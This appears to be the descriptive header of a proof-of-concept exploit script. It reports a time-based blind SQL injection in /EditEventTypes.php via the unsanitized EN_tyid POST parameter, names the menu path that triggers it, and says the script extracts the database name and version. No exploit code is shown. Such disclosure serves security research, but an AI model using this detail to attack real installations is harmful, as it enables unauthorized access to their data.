"""
The endpoint /EditEventTypes.php is vulnerable to Blind SQL Injection (Time-based) via the EN_tyid POST parameter.
This endpoint can be triggered through the following menu: Events - List Event Types - Edit Event Types - Save Name.
The EN_tyid Parameter is taken directly from the user input and passed into the SQL query without any sanitization or input escaping.
This allows the attacker to inject malicious Event payloads to execute the malicious SQL query.
This script is created as Proof of Concept to retrieve the database name and version.
